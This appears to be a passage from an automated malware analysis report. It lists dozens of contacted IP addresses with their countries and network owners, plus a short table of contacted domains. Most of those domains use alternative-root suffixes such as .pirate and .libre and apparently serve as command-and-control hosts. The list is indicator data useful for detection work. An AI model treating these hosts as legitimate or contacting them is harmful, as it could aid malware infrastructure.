132.232.177.10
 unknown China
45090 CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa false
46.196.228.35
 unknown Turkey
47524 TURKSAT-ASTR false
9.219.194.217
 unknown United States
3356 LEVEL3US false
84.78.180.35
 unknown Spain
12479 UNI2-ASES false
164.173.237.240
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
167.212.83.74
 unknown United States
33166 BFS-49-33166US false
132.138.91.165
 unknown United States
306 DNIC-ASBLK-00306-00371US false
61.128.97.148
 unknown China
137694 CHINATELECOM-XINJIANG-KEZHOU-MANCHINATELECOMXinjiangKezho false
169.19.212.148
 unknown United States
37611 AfrihostZA false
62.36.31.119
 unknown Spain
12479 UNI2-ASES false
66.172.197.64
 unknown United States
32867 LLI-BLK1US false
46.114.71.57
 unknown Germany
6805 TDDE-ASN1DE false
163.96.12.132
 unknown France
17816 CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi false
8.129.155.171
 unknown Singapore
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
215.187.75.42
 unknown United States
721 DNIC-ASBLK-00721-00726US false
126.173.14.191
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
181.224.231.169
 unknown Peru
262253 ECONOCABLEMEDIASACPE false
92.5.104.253
 unknown United Kingdom
13285 OPALTELECOM-ASTalkTalkCommunicationsLimitedGB false
94.246.239.48
 unknown Estonia
2586 UNINET-ASSoprusepst145FI false
85.111.77.20
 unknown Turkey
9121 TTNETTR false
40.178.220.73
 unknown United States
4249 LILLY-ASUS false
156.88.111.177
 unknown United States
10695 WAL-MARTUS false
42.101.204.48
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
150.175.36.238
 unknown France
395527 VSU-NETUS false
81.81.190.214
 unknown Italy
3215 FranceTelecom-OrangeFR false
71.255.227.248
 unknown United States
701 UUNETUS false
218.161.223.168
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
18.2.176.142
 unknown United States
10578 GIGAPOP-NEUS false
177.15.101.252
 unknown Brazil
53237 TELECOMUNICACOESBRASILEIRASSA-TELEBRASBR false
80.250.12.23
 unknown Czech Republic
21430 WIA-ASCZ false
197.54.215.162
 unknown Egypt
8452 TE-ASTE-ASEG false
91.9.195.25
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
26.145.39.149
 unknown United States
7922 COMCAST-7922US false
118.201.139.220
 unknown Singapore
3758 SINGNETSingNetSG false
148.92.237.146
 unknown United States
786 JANETJiscServicesLimitedGB false
46.50.102.177
 unknown Portugal
42863 MEO-MOVELPT false
25.162.42.227
 unknown United Kingdom
7922 COMCAST-7922US false
150.213.48.88
 unknown Switzerland
4130 UPITT-ASUS false
2.222.243.10
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
126.82.18.112
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
40.99.75.19
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
70.125.95.252
 unknown United States
33363 BHN-33363US false
122.103.55.124
 unknown Japan 2519 VECTANTARTERIANetworksCorporationJP false
16.130.209.29
 unknown United States
unknown unknown false
40.179.185.33
 unknown United States
4249 LILLY-ASUS false
30.114.218.83
 unknown United States
7922 COMCAST-7922US false
207.124.80.70
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
123.111.53.149
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
202.156.39.212
 unknown Singapore
10091 STARHUB-CABLEStarHubLtdSG false
129.236.52.6
 unknown United States
14 COLUMBIA-GWUS false
117.185.53.10
 unknown China
24400 CMNET-V4SHANGHAI-AS-APShanghaiMobileCommunicationsCoLt false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true
eighteen.pirate. [malformed] unknown unknown
imaverygoodbadboy.libre. [malformed] unknown unknown
fortyfivehundred.dyn. [malformed] unknown unknown
21savage.dyn. [malformed] unknown unknown
www.codingdrunk.in. [malformed] unknown unknown
75cents.libre. [malformed] unknown unknown
2joints.libre. [malformed] unknown unknown
eighteen.pirate unknown unknown